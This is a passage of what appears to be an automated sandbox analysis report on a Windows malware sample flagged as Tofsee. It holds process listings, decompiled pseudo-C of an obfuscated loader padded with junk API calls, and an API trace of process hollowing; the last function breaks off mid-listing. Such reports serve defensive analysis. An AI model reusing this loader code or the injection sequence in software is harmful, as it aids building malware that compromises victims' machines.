Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 3000 Parent PID: 6888

General

Start time:	20:29:32
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	svchost.exe
Imagebase:	0x12f0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000023.00000002.1024071704.0000000000E70000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: 3D34.exe PID: 2832 Parent PID: 6404

General

Start time:	20:29:35
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\3D34.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\3D34.exe
Imagebase:	0x150000
File size:	537088 bytes
MD5 hash:	D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: ECD2MpEBSf.exe PID: 7104 Parent PID: 6048 ECD2MpEBSf.exeCOMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	10.6%
Signature Coverage:	21.5%
Total number of Nodes:	246
Total number of Limit Nodes:	21

Executed Functions

Function 00419D72, Relevance: 257.8, APIs: 116, Strings: 31, Instructions: 521
timestringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00419D72(void* __edx, void* __fp0) {
				void* __edi;
				intOrPtr _t50;
				CHAR* _t53;
				intOrPtr _t87;
				void* _t192;
				void* _t193;
				void* _t194;
				void* _t195;
				void* _t198;
				void* _t199;
				void* _t200;
				void* _t203;
				void* _t205;
				intOrPtr _t227;
				void* _t228;

				_t193 = __edx;
				E0041A950(0x20b8);
				if( *0x54abf4 == 0x177) {
					E0041B380(0, 0, 0);
					E0041AFB0(_t192, 0, 0);
					E0041AF60(_t192, 0, 0);
					E0041AEE0(0);
					E0041ACF0("0.0");
					st0 = __fp0;
					E0041AA70(_t192, 0);
					E0041AA40(_t192, 0, 0);
					E0041A9C0(_t192, 0);
					_t53 = E0041A9A0(0);
					_t205 = _t205 + 0x38;
				}
				_t194 = 0;
				L3:
				L3:
				if( *0x54abf4 == 0x47) {
					GetBinaryTypeA("hijaduvinijebup", _t205 + 0x10);
					SetCurrentDirectoryA("lakusoruhajunajiziheruxazoluyoloxujumazomeke");
					Process32NextW(0, 0);
					InitializeCriticalSection(0);
					QueryDosDeviceW(0, _t205 + 0x10cc, 0);
					__imp__AssignProcessToJobObject(0, 0);
					GlobalAddAtomW(L"Vozecitak mov");
					DeleteAtom(0);
					WriteProfileStringA("tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv", "wapejan", "mocisacatenu");
					GetFullPathNameA("Felerah cuhozazikesuzil", 0, _t205 + 0x4cc, 0);
					__imp__FindNextVolumeMountPointW(0, _t205 + 0x8cc, 0);
					GetCompressedFileSizeA("wovag", _t205 + 0x1c);
					SetNamedPipeHandleState(0, 0, 0, 0);
					lstrcpynA(_t205 + 0xd0, "Losufic vahafoj sovoculoziyaja dewofic", 0);
					GetCurrentProcessId();
					__imp__GetConsoleAliasesLengthW(0);
					__imp__UnregisterWait(0);
					__imp__GetProcessHandleCount(0, 0);
					CancelWaitableTimer(0);
					SetFileApisToANSI();
					CreateIoCompletionPort(0, 0, 0, 0);
					FindClose(0);
					SetEndOfFile(0);
					GetCommMask(0, 0);
					LocalLock(0);
					_t53 = OpenMutexA(0, 0, "mesehoripirowarericaju");
				}
				if(_t194 == 0x69d) {
					goto L8;
				}
				_t194 = _t194 + 1;
				if(_t194 < 0x1133661) {
					goto L3;
				} else {
				}
				L9:
				_t195 = 0;
				do {
					if(_t195 < 0x4f5) {
						OemToCharA(0, 0);
						GetLastError();
					}
					if( *0x54abf4 == 0x6b) {
						_t53 = HeapFree(0, 0, 0);
					}
					_t195 = _t195 + 1;
					 *0x5447e0 = 0;
				} while (_t195 < 0x1763459b);
				_t203 = 0;
				do {
					if(_t203 == 0x40d) {
						 *0x54abf4 =  *0x54abf4 + 0x12336;
					}
					if( *0x54abf4 == 0x44d) {
						 *(_t205 + 0x10) = 0;
						asm("stosw");
						WriteConsoleOutputCharacterA(0, "tifikekacejininomizewidixazodafetisutaxewuy", 0,  *(_t205 + 0x14), _t205 + 0x1c);
						GetModuleHandleW(L"Xemov yoxociy pogi");
						GetConsoleMode(0, 0);
						FreeEnvironmentStringsA(0);
						GetWriteWatch(0, 0, 0, 0, 0, 0);
						__imp__GetConsoleAliasExesLengthW();
						_lopen(0, 0);
						FileTimeToLocalFileTime(_t205 + 0x40, _t205 + 0x34);
						SetCommState(0, 0);
						EnumDateFormatsA(0, 0, 0);
						 *(_t205 + 0x20) = 0;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						TransactNamedPipe(0, 0, 0, _t205 + 0xd4, 0, _t205 + 0x18, _t205 + 0x20);
						WriteConsoleInputW(0, 0, 0, _t205 + 0x18);
						__imp__GetConsoleAliasExesLengthA();
						GetAtomNameW(0, _t205 + 0x10cc, 0);
						FreeConsole();
						FlushConsoleInputBuffer(0);
						__imp__GetConsoleAliasA(0, _t205 + 0x4d0, 0, 0);
						SetConsoleCP(0);
						__imp__VerSetConditionMask(0, 0, 0, 0);
						LockFile(0, 0, 0, 0, 0);
						SetSystemTime(0);
						__imp__SetThreadExecutionState(0);
						VerLanguageNameW(0, _t205 + 0x18cc, 0);
						_t53 = lstrcpyA(_t205 + 0x8cc, "Hetitanutaf bebucoreko");
						__imp__SetFileShortNameA(0, 0);
					}
					_t203 = _t203 + 1;
				} while (_t203 < 0x486263);
				E00419B01(_t53);
				_t198 = 0;
				do {
					if( *0x54abf4 == 0xfd) {
						FreeEnvironmentStringsW(0);
					}
					if(_t198 == 0x3c58) {
						_t87 =  *0x440008; // 0x3f6faa
						 *0x54abf8 = _t87;
					}
					if( *0x54abf4 == 0x23) {
						CreateSemaphoreA(0, 0, 0, "tivomifuzasesufaholivikasekalene");
						GetLocalTime(0);
						EnumTimeFormatsW(0, 0, 0);
						FindResourceExW(0, L"helecebekuxesiwiwifomipuwudokatupibej", L"pahubahiwucijucemipapujivojadij", 0);
						GetPrivateProfileSectionNamesW(_t205 + 0x18d0, 0, 0);
						GetOverlappedResult(0, 0, 0, 0);
						WaitNamedPipeA(0, 0);
						TransmitCommChar(0, 0);
						CreateSemaphoreW(0, 0, 0, 0);
						GetBinaryTypeW(L"Dovi muyafohonifu zapojubocuwuh vuleh", _t205 + 0x18);
						PeekConsoleInputW(0, _t205 + 0x28, 0, _t205 + 0x14);
						BuildCommDCBW(L"werahixiwexetujocaxojikutevolekeginizegimowif", _t205 + 0x44);
						__imp__UnregisterWaitEx(0, 0);
						GlobalLock(0);
						CreateIoCompletionPort(0, 0, 0, 0);
						GetProcAddress(0, 0);
						MoveFileExW(0, 0, 0);
						GetThreadContext(0, _t205 + 0x4c8);
						ResetEvent(_t205 + 0x98);
						__imp__FindActCtxSectionGuid(0, 0, 0, 0, 0);
						 *((intOrPtr*)(_t205 + 0x70)) = 0;
						E0041B3A0(_t198, _t205 + 0x6c, 0, 0x30);
						_t205 = _t205 + 0xc;
						SetDefaultCommConfigW(0, _t205 + 0x68, 0);
						lstrcmpW(0, 0);
						HeapUnlock(0);
						GetConsoleMode(0, 0);
						__imp__GetVolumePathNameA("Piruvora", _t205 + 0x8cc, 0);
						MoveFileW(0, 0);
						Process32NextW(0, 0);
						GetFileAttributesExA("gukafipa", 0, _t205 + 0xc8);
						GetDriveTypeA(0);
						TryEnterCriticalSection(_t205 + 0xb0);
						GetPrivateProfileStructW(L"diponusohivasohopo", L"mawecamaxe", _t205 + 0x10d0, 0, L"rixawibonagomukirak");
						WritePrivateProfileSectionA(0, 0, 0);
						GetPrivateProfileSectionW(0, 0, 0, 0);
						GetSystemTimeAdjustment(0, 0, 0);
					}
					_t198 = _t198 + 1;
				} while (_t198 < 0xe6a95);
				_t199 = 0;
				_t227 =  *0x54abf4; // 0xf4b0
				if(_t227 > 0) {
					do {
						E004198CC(_t199);
						_t199 = _t199 + 1;
						_t228 = _t199 -  *0x54abf4; // 0xf4b0
					} while (_t228 < 0);
				}
				_t200 = 0;
				do {
					if(_t200 == 0x26) {
						E00419A19(_t193);
					}
					_t200 = _t200 + 1;
				} while (_t200 < 0x3dc4b7);
				E00419B15(); // executed
				if( *0x54abf4 == 0x1d) {
					WriteConsoleA(0, 0, 0, _t205 + 0x1c, 0);
					EndUpdateResourceA(0, 0);
					__imp__FindVolumeMountPointClose(0);
					DefineDosDeviceW(0, 0, 0);
					InterlockedExchange(_t205 + 0x18, 0);
					SetMailslotInfo(0, 0);
					GetTapeParameters(0, 0, _t205 + 0x20, _t205 + 0x10c8);
					__imp__CreateActCtxW(_t205 + 0x44);
					FindCloseChangeNotification(0);
					GlobalFindAtomA("Hiwejanoji");
					TerminateProcess(0, 0);
					__imp__GetSystemWindowsDirectoryW(_t205 + 0x18cc, 0);
					GetVersion();
					SetConsoleMode(_t205 + 0x14, 0);
					 *(_t205 + 0x20) = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					ReadFileScatter(0, 0, 0, 0, _t205 + 0x20);
					lstrcmpA("Vaguxabufereg godid vefas nehesuh", "Pusazide");
					GetPrivateProfileSectionW(L"bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi", _t205 + 0x8d0, 0, L"suxehecumugilodagaduvixevexirificiseracipefi");
					DebugBreak();
					__imp__DeleteVolumeMountPointA("hukujid");
				}
				return 0;
				L8:
				_t50 =  *0x440160; // 0xffffd17a
				 *0x54abf4 = _t50;
				goto L9;
			}

0x00419d72
0x00419d77
0x00419d8c
0x00419d91
0x00419d98
0x00419d9f
0x00419da5
0x00419daf
0x00419db4
0x00419db7
0x00419dbe
0x00419dc4
0x00419dca
0x00419dcf
0x00419dcf
0x00419dd2
0x00000000
0x00419dd4
0x00419ddb
0x00419deb
0x00419df6
0x00419dfe
0x00419e04
0x00419e14
0x00419e1c
0x00419e27
0x00419e2e
0x00419e43
0x00419e58
0x00419e68
0x00419e78
0x00419e82
0x00419e96
0x00419e9c
0x00419ea3
0x00419eaa
0x00419eb2
0x00419eb9
0x00419ebf
0x00419ec9
0x00419ed0
0x00419ed7
0x00419edf
0x00419ee6
0x00419ef3
0x00419ef3
0x00419eff
0x00000000
0x00000000
0x00419f01
0x00419f08
0x00000000
0x00000000
0x00419f0e
0x00419f1a
0x00419f1a
0x00419f1c
0x00419f22
0x00419f26
0x00419f2c
0x00419f2c
0x00419f39
0x00419f3e
0x00419f3e
0x00419f44
0x00419f4b
0x00419f4b
0x00419f59
0x00419f5b
0x00419f61
0x00419f63
0x00419f63
0x00419f77
0x00419f7f
0x00419f88
0x00419f9a
0x00419fa5
0x00419fad
0x00419fb0
0x00419fbc
0x00419fc2
0x00419fca
0x00419fda
0x00419fe2
0x00419feb
0x00419ff3
0x00419ffb
0x00419ffc
0x00419ffd
0x00419ffe
0x0041a015
0x0041a023
0x0041a029
0x0041a039
0x0041a03f
0x0041a046
0x0041a057
0x0041a05e
0x0041a068
0x0041a073
0x0041a07a
0x0041a081
0x0041a091
0x0041a0a3
0x0041a0ab
0x0041a0ab
0x0041a0b1
0x0041a0b2
0x0041a0be
0x0041a0c9
0x0041a0cb
0x0041a0d5
0x0041a0d8
0x0041a0d8
0x0041a0e4
0x0041a0e6
0x0041a0eb
0x0041a0eb
0x0041a0f7
0x0041a105
0x0041a10c
0x0041a115
0x0041a127
0x0041a137
0x0041a141
0x0041a149
0x0041a151
0x0041a15b
0x0041a16b
0x0041a17d
0x0041a18d
0x0041a195
0x0041a19c
0x0041a1a6
0x0041a1ae
0x0041a1b7
0x0041a1c6
0x0041a1d4
0x0041a1df
0x0041a1ed
0x0041a1f1
0x0041a1f6
0x0041a200
0x0041a208
0x0041a20f
0x0041a217
0x0041a227
0x0041a22f
0x0041a237
0x0041a24a
0x0041a251
0x0041a25f
0x0041a27d
0x0041a286
0x0041a290
0x0041a295
0x0041a295
0x0041a29b
0x0041a29c
0x0041a2a8
0x0041a2aa
0x0041a2b0
0x0041a2b2
0x0041a2b3
0x0041a2b8
0x0041a2b9
0x0041a2b9
0x0041a2b2
0x0041a2c1
0x0041a2c3
0x0041a2c6
0x0041a2c8
0x0041a2c8
0x0041a2cd
0x0041a2ce
0x0041a2d6
0x0041a2e2
0x0041a2f1
0x0041a2f9
0x0041a300
0x0041a309
0x0041a315
0x0041a31d
0x0041a332
0x0041a33d
0x0041a344
0x0041a34f
0x0041a357
0x0041a366
0x0041a36c
0x0041a378
0x0041a380
0x0041a388
0x0041a389
0x0041a38a
0x0041a38b
0x0041a395
0x0041a3a5
0x0041a3be
0x0041a3c0
0x0041a3cb
0x0041a3cb
0x0041a3dd
0x00419f10
0x00419f10
0x00419f15
0x00000000

APIs

__vswprintf.LIBCMTD ref: 00419D91

Part of subcall function 0041B380: __vsprintf_l.LIBCMTD ref: 0041B393

_putc.LIBCMTD ref: 00419D98

Part of subcall function 0041AFB0: __invalid_parameter.LIBCMTD ref: 0041B03D

__wrename.LIBCMTD ref: 00419D9F

Part of subcall function 0041AF60: MoveFileA.KERNEL32(?,?), ref: 0041AF6E
Part of subcall function 0041AF60: GetLastError.KERNEL32 ref: 0041AF78
Part of subcall function 0041AF60: __dosmaperr.LIBCMTD ref: 0041AF94

_atexit.LIBCMTD ref: 00419DA5

Part of subcall function 0041ACF0: __atof_l.LIBCMTD ref: 0041ACFB

_malloc.LIBCMTD ref: 00419DB7
_realloc.LIBCMTD ref: 00419DBE

Part of subcall function 0041AA40: __realloc_dbg.LIBCMTD ref: 0041AA54

_ferror.LIBCMTD ref: 00419DC4

Part of subcall function 0041A9C0: __invalid_parameter.LIBCMTD ref: 0041AA1A

Part of subcall function 0041A9A0: __wcstoi64.LIBCMTD ref: 0041A9AD

GetBinaryTypeA.KERNEL32(hijaduvinijebup,?), ref: 00419DEB
SetCurrentDirectoryA.KERNEL32(lakusoruhajunajiziheruxazoluyoloxujumazomeke), ref: 00419DF6
Process32NextW.KERNEL32(00000000,00000000), ref: 00419DFE
InitializeCriticalSection.KERNEL32(00000000,00000000,00000000), ref: 00419E04
QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 00419E14
AssignProcessToJobObject.KERNEL32 ref: 00419E1C
GlobalAddAtomW.KERNEL32 ref: 00419E27
DeleteAtom.KERNEL32(00000000), ref: 00419E2E
WriteProfileStringA.KERNEL32(tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv,wapejan,mocisacatenu), ref: 00419E43
GetFullPathNameA.KERNEL32(Felerah cuhozazikesuzil,00000000,?,00000000), ref: 00419E58
FindNextVolumeMountPointW.KERNEL32 ref: 00419E68
GetCompressedFileSizeA.KERNEL32(wovag,?), ref: 00419E78
SetNamedPipeHandleState.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419E82
lstrcpynA.KERNEL32(?,Losufic vahafoj sovoculoziyaja dewofic,00000000), ref: 00419E96
GetCurrentProcessId.KERNEL32 ref: 00419E9C
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00419EA3
UnregisterWait.KERNEL32(00000000), ref: 00419EAA
GetProcessHandleCount.KERNEL32(00000000,00000000), ref: 00419EB2
CancelWaitableTimer.KERNEL32(00000000), ref: 00419EB9
SetFileApisToANSI.KERNEL32 ref: 00419EBF
CreateIoCompletionPort.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419EC9
FindClose.KERNEL32(00000000), ref: 00419ED0
SetEndOfFile.KERNEL32(00000000), ref: 00419ED7
GetCommMask.KERNEL32(00000000,00000000), ref: 00419EDF
LocalLock.KERNEL32(00000000), ref: 00419EE6
OpenMutexA.KERNEL32 ref: 00419EF3
OemToCharA.USER32(00000000,00000000), ref: 00419F26
GetLastError.KERNEL32 ref: 00419F2C
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00419F3E
WriteConsoleOutputCharacterA.KERNEL32(00000000,tifikekacejininomizewidixazodafetisutaxewuy,00000000,?,?), ref: 00419F9A
GetModuleHandleW.KERNEL32(Xemov yoxociy pogi), ref: 00419FA5
GetConsoleMode.KERNEL32(00000000,00000000), ref: 00419FAD
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00419FB0
GetWriteWatch.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00419FBC
GetConsoleAliasExesLengthW.KERNEL32 ref: 00419FC2
_lopen.KERNEL32 ref: 00419FCA
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00419FDA
SetCommState.KERNEL32(00000000,00000000), ref: 00419FE2
EnumDateFormatsA.KERNEL32(00000000,00000000,00000000), ref: 00419FEB
TransactNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000,?,?), ref: 0041A015
WriteConsoleInputW.KERNEL32(00000000,00000000,00000000,?), ref: 0041A023
GetConsoleAliasExesLengthA.KERNEL32 ref: 0041A029
GetAtomNameW.KERNEL32(00000000,?,00000000), ref: 0041A039
FreeConsole.KERNEL32 ref: 0041A03F
FlushConsoleInputBuffer.KERNEL32(00000000), ref: 0041A046
GetConsoleAliasA.KERNEL32(00000000,?,00000000,00000000), ref: 0041A057
SetConsoleCP.KERNEL32(00000000), ref: 0041A05E
VerSetConditionMask.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A068
LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041A073
SetSystemTime.KERNEL32(00000000), ref: 0041A07A
SetThreadExecutionState.KERNEL32(00000000), ref: 0041A081
VerLanguageNameW.KERNEL32(00000000,?,00000000), ref: 0041A091
lstrcpyA.KERNEL32(?,Hetitanutaf bebucoreko,00000000,?,00000000), ref: 0041A0A3
SetFileShortNameA.KERNEL32(00000000,00000000), ref: 0041A0AB
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041A0D8
CreateSemaphoreA.KERNEL32 ref: 0041A105
GetLocalTime.KERNEL32(00000000), ref: 0041A10C
EnumTimeFormatsW.KERNEL32(00000000,00000000,00000000), ref: 0041A115
FindResourceExW.KERNEL32(00000000,helecebekuxesiwiwifomipuwudokatupibej,pahubahiwucijucemipapujivojadij,00000000), ref: 0041A127
GetPrivateProfileSectionNamesW.KERNEL32 ref: 0041A137
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A141
WaitNamedPipeA.KERNEL32 ref: 0041A149
TransmitCommChar.KERNEL32(00000000,00000000), ref: 0041A151
CreateSemaphoreW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A15B
GetBinaryTypeW.KERNEL32(Dovi muyafohonifu zapojubocuwuh vuleh,?), ref: 0041A16B
PeekConsoleInputW.KERNEL32(00000000,?,00000000,?), ref: 0041A17D
BuildCommDCBW.KERNEL32 ref: 0041A18D
UnregisterWaitEx.KERNEL32(00000000,00000000), ref: 0041A195
GlobalLock.KERNEL32 ref: 0041A19C
CreateIoCompletionPort.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A1A6
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041A1AE
MoveFileExW.KERNEL32(00000000,00000000,00000000), ref: 0041A1B7
GetThreadContext.KERNEL32(00000000,?), ref: 0041A1C6
ResetEvent.KERNEL32(?), ref: 0041A1D4
FindActCtxSectionGuid.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041A1DF
_memset.LIBCMT ref: 0041A1F1
SetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 0041A200
lstrcmpW.KERNEL32(00000000,00000000), ref: 0041A208
HeapUnlock.KERNEL32(00000000), ref: 0041A20F
GetConsoleMode.KERNEL32(00000000,00000000), ref: 0041A217
GetVolumePathNameA.KERNEL32 ref: 0041A227
MoveFileW.KERNEL32(00000000,00000000), ref: 0041A22F
Process32NextW.KERNEL32(00000000,00000000), ref: 0041A237
GetFileAttributesExA.KERNEL32(gukafipa,00000000,?), ref: 0041A24A
GetDriveTypeA.KERNEL32(00000000), ref: 0041A251
TryEnterCriticalSection.KERNEL32(?), ref: 0041A25F
GetPrivateProfileStructW.KERNEL32 ref: 0041A27D
WritePrivateProfileSectionA.KERNEL32(00000000,00000000,00000000), ref: 0041A286
GetPrivateProfileSectionW.KERNEL32 ref: 0041A290
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 0041A295
WriteConsoleA.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041A2F1
EndUpdateResourceA.KERNEL32 ref: 0041A2F9
FindVolumeMountPointClose.KERNEL32(00000000), ref: 0041A300
DefineDosDeviceW.KERNEL32(00000000,00000000,00000000), ref: 0041A309
InterlockedExchange.KERNEL32(?,00000000), ref: 0041A315
SetMailslotInfo.KERNEL32 ref: 0041A31D
GetTapeParameters.KERNEL32 ref: 0041A332
CreateActCtxW.KERNEL32(?), ref: 0041A33D
FindCloseChangeNotification.KERNEL32(00000000), ref: 0041A344
GlobalFindAtomA.KERNEL32 ref: 0041A34F
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041A357
GetSystemWindowsDirectoryW.KERNEL32 ref: 0041A366
GetVersion.KERNEL32 ref: 0041A36C
SetConsoleMode.KERNEL32(?,00000000), ref: 0041A378
ReadFileScatter.KERNEL32(00000000,00000000,00000000,00000000,?), ref: 0041A395
lstrcmpA.KERNEL32(Vaguxabufereg godid vefas nehesuh,Pusazide), ref: 0041A3A5
GetPrivateProfileSectionW.KERNEL32 ref: 0041A3BE
DebugBreak.KERNEL32 ref: 0041A3C0
DeleteVolumeMountPointA.KERNEL32 ref: 0041A3CB

Strings

Dovi muyafohonifu zapojubocuwuh vuleh, xrefs: 0041A166
Losufic vahafoj sovoculoziyaja dewofic, xrefs: 00419E89
mesehoripirowarericaju, xrefs: 00419EEC
rixawibonagomukirak, xrefs: 0041A265
wovag, xrefs: 00419E73
tifikekacejininomizewidixazodafetisutaxewuy, xrefs: 00419F94
diponusohivasohopo, xrefs: 0041A278
lakusoruhajunajiziheruxazoluyoloxujumazomeke, xrefs: 00419DF1
Piruvora, xrefs: 0041A222
mawecamaxe, xrefs: 0041A273
helecebekuxesiwiwifomipuwudokatupibej, xrefs: 0041A121
Xemov yoxociy pogi, xrefs: 00419FA0
Hetitanutaf bebucoreko, xrefs: 0041A096
Pusazide, xrefs: 0041A39B
suxehecumugilodagaduvixevexirificiseracipefi, xrefs: 0041A3AB
cbH, xrefs: 0041A0B2
hukujid, xrefs: 0041A3C6
tivomifuzasesufaholivikasekalene, xrefs: 0041A0FD
bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi, xrefs: 0041A3B9
tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv, xrefs: 00419E3E
hijaduvinijebup, xrefs: 00419DE6
wapejan, xrefs: 00419E39
0.0, xrefs: 00419DAA
Vozecitak mov, xrefs: 00419E22
mocisacatenu, xrefs: 00419E34
werahixiwexetujocaxojikutevolekeginizegimowif, xrefs: 0041A188
Hiwejanoji, xrefs: 0041A34A
pahubahiwucijucemipapujivojadij, xrefs: 0041A11C
Felerah cuhozazikesuzil, xrefs: 00419E53
gukafipa, xrefs: 0041A245
Vaguxabufereg godid vefas nehesuh, xrefs: 0041A3A0

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: Console$File$FindSection$ProfileTimeWrite$CommCreateNamePrivate$AtomFreeProcessVolume$AliasCloseGlobalHandleInputLengthLocalLockModeMountMoveNamedNextPipePointStateSystemTypeWait$BinaryCharCompletionCriticalCurrentDeleteDeviceDirectoryEnumEnvironmentErrorExesFormatsHeapLastMaskPathPortProcess32ResourceSemaphoreStringsThreadUnregister__invalid_parameterlstrcmp$AddressAdjustmentAliasesApisAssignAttributesBreakBufferBuildCancelChangeCharacterCompressedConditionConfigContextCountDateDebugDefaultDefineDriveEnterEventExchangeExecutionFlushFullGuidInfoInitializeInterlockedLanguageMailslotModuleMutexNamesNotificationObjectOpenOutputOverlappedParametersPeekProcQueryReadResetResultScatterShortSizeStringStructTapeTerminateTimerTransactTransmitUnlockUpdateVersionWaitableWatchWindows__atof_l__dosmaperr__realloc_dbg__vsprintf_l__vswprintf__wcstoi64__wrename_atexit_ferror_lopen_malloc_memset_putc_realloclstrcpylstrcpyn
String ID: 0.0$Dovi muyafohonifu zapojubocuwuh vuleh$Felerah cuhozazikesuzil$Hetitanutaf bebucoreko$Hiwejanoji$Losufic vahafoj sovoculoziyaja dewofic$Piruvora$Pusazide$Vaguxabufereg godid vefas nehesuh$Vozecitak mov$Xemov yoxociy pogi$bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi$cbH$diponusohivasohopo$gukafipa$helecebekuxesiwiwifomipuwudokatupibej$hijaduvinijebup$hukujid$lakusoruhajunajiziheruxazoluyoloxujumazomeke$mawecamaxe$mesehoripirowarericaju$mocisacatenu$pahubahiwucijucemipapujivojadij$rixawibonagomukirak$suxehecumugilodagaduvixevexirificiseracipefi$tifikekacejininomizewidixazodafetisutaxewuy$tivomifuzasesufaholivikasekalene$tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv$wapejan$werahixiwexetujocaxojikutevolekeginizegimowif$wovag
API String ID: 810379756-3832306161
Opcode ID: eaee16d0d52fa3572a9db184ce6f671648090d07918811bd6da2650ca491b5cd
Instruction ID: e4f81ae693c5aa381d82074a60b38f558fffc925018ee1a548a2825cf946014f
Opcode Fuzzy Hash: eaee16d0d52fa3572a9db184ce6f671648090d07918811bd6da2650ca491b5cd
Instruction Fuzzy Hash: C4F1EC76442565BBD315ABA1EE4CDDF3EACEF4A395B004429F249E1070CB384646CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 00570110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00570156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0057016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00570255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00570270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00570283
GetThreadContext.KERNELBASE(00000000,?), ref: 0057029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005702C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 005702E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00570304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0057032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00570399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005703BF
SetThreadContext.KERNELBASE(00000000,?), ref: 005703E1
ResumeThread.KERNELBASE(00000000), ref: 005703ED
ExitProcess.KERNEL32(00000000), ref: 00570412

Memory Dump Source

Source File: 00000000.00000002.667624367.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_ECD2MpEBSf.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 75194dc1ddf31dfd42f7d086fa99d3ba0f79df4612f653aec3d5d99c565ffe0e
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: FFB1B674A00208EFDB44CF98C895F9EBBB5BF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0041B897, Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0041B897() {
				signed int _t79;
				signed int _t80;
				intOrPtr _t81;
				signed int _t97;
				void* _t102;
				void* _t103;
				signed int _t105;
				void* _t109;
				void* _t110;
				intOrPtr _t112;
				void* _t115;
				void* _t116;
				signed int _t122;
				signed int _t123;
				intOrPtr _t126;
				signed int _t127;
				signed int _t157;
				intOrPtr _t158;
				intOrPtr _t159;
				signed int _t169;
				signed int _t170;
				void* _t171;
				void* _t173;
				void* _t175;
				void* _t177;
				void* _t178;
				void* _t188;
				void* _t192;

				_t178 = _t177 + 4;
				 *(_t175 - 4) = 0;
				if( *0x54ac34 > 0) {
					_t112 =  *0x54ac34; // 0x0
					_t188 =  *0x54ac1c - _t112 - 1; // 0x0
					if(_t188 != 0) {
						_t169 =  *0x54ac1c; // 0x0
						_t170 = _t169 + 1;
						__eflags = _t170;
